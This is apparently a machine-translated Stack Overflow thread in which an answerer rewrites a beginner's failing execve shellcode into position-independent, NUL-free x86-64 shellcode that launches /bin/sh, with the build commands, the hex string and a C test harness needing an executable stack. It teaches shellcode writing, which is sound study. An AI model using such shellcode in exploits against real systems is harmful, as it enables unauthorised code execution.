Shellcode: Unzulässige Anweisung
Ich bin neu in der Shellcode-Entwicklung und kann nicht verstehen, warum generierter Shellcode nicht wie erwartet funktioniert.
Assembler-Code:
Basierend auf einer Antwort auf meine vorherige Frage.
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */
C-Testcode:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Ausgabe:
Illegal instruction
Details: Kali Linux GNU / Linux i386 x86_64
Antworten
Das Problem mit Ihrem Code ist, dass die von Ihnen generierte Shell-Zeichenfolge keine Daten enthält. Und die Daten enthalten absolute Zeiger, sind also nicht positionsunabhängig und würden daher nicht funktionieren, wenn Sie sie verschieben .textund einschließen würden. Sobald das Programm in einem anderen Programm ausgeführt wird, wie Sie es im C- Code tun, versucht es, Daten zu finden, die nicht vorhanden sind, und an festen Speicherorten, die nicht für das ausnutzbare Programm gelten, in dem Sie ausgeführt werden.
Ich denke, Sie haben möglicherweise ein anderes Problem, das die illegale Anweisung verursacht . Sie zeigen nicht, wie Sie Ihr C- Programm erstellen , aber ich frage mich, ob es 32-Bit und Ihr Shellcode 64-Bit ist. Ich fange an zu glauben, dass Ihr C- Programm möglicherweise als 32-Bit-Programm kompiliert wurde und die unzulässige Anweisung möglicherweise darauf zurückzuführen ist, dass Sie 64-Bit-Code (den Shell-Code) in einem 32-Bit-Programm nicht zuverlässig ausführen können. Beispielsweise ist der SYSCALLBefehl ein ungültiger Opcode in einem 32-Bit-Programm auf Nicht-AMD-CPUs. Dies ist nur eine Vermutung, da keine weiteren Details darüber vorliegen, wie Sie Ihren Shell-Code und Ihr C- Programm kompilieren / zusammenstellen / verknüpfen .
Sie müssen positionsunabhängigen Code (PIC) generieren, damit er nach dem Laden auf den Stapel überall ausgeführt werden kann. Ihre Daten müssen mit dem Code innerhalb des Segments platziert werden. Der Code muss auch vermeiden, das NUL-Zeichen (0x00) zu generieren, da dies eine Zeichenfolge vorzeitig beenden würde, wenn sie als Benutzereingabe für ein tatsächlich ausnutzbares Programm bereitgestellt wird.
Eine Version Ihres Codes, die für solche Zwecke verwendet werden könnte, könnte folgendermaßen aussehen:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall
Sie können eine Zeichenfolge im C-Stil generieren mit:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Der hexdumpobige Befehl würde Folgendes ausgeben:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
Sie werden feststellen, dass es im \x00Gegensatz zu Ihrem Code keine Zeichen gibt . Sie können diese Zeichenfolge direkt in einem C- Programm verwenden, z.
Exploit.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Dies muss kompiliert und mit einem ausführbaren Stack verknüpft werden:
gcc -zexecstack exploit.c -o exploit
strace ./exploitwürde einen EXECVESystemaufruf erzeugen , der ähnlich ist wie:
execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0
Hinweis : Ich persönlich würde die Zeichenfolgen programmgesteuert auf dem Stapel erstellen, ähnlich dem Code in einer anderen von mir geschriebenen Stackoverflow-Antwort .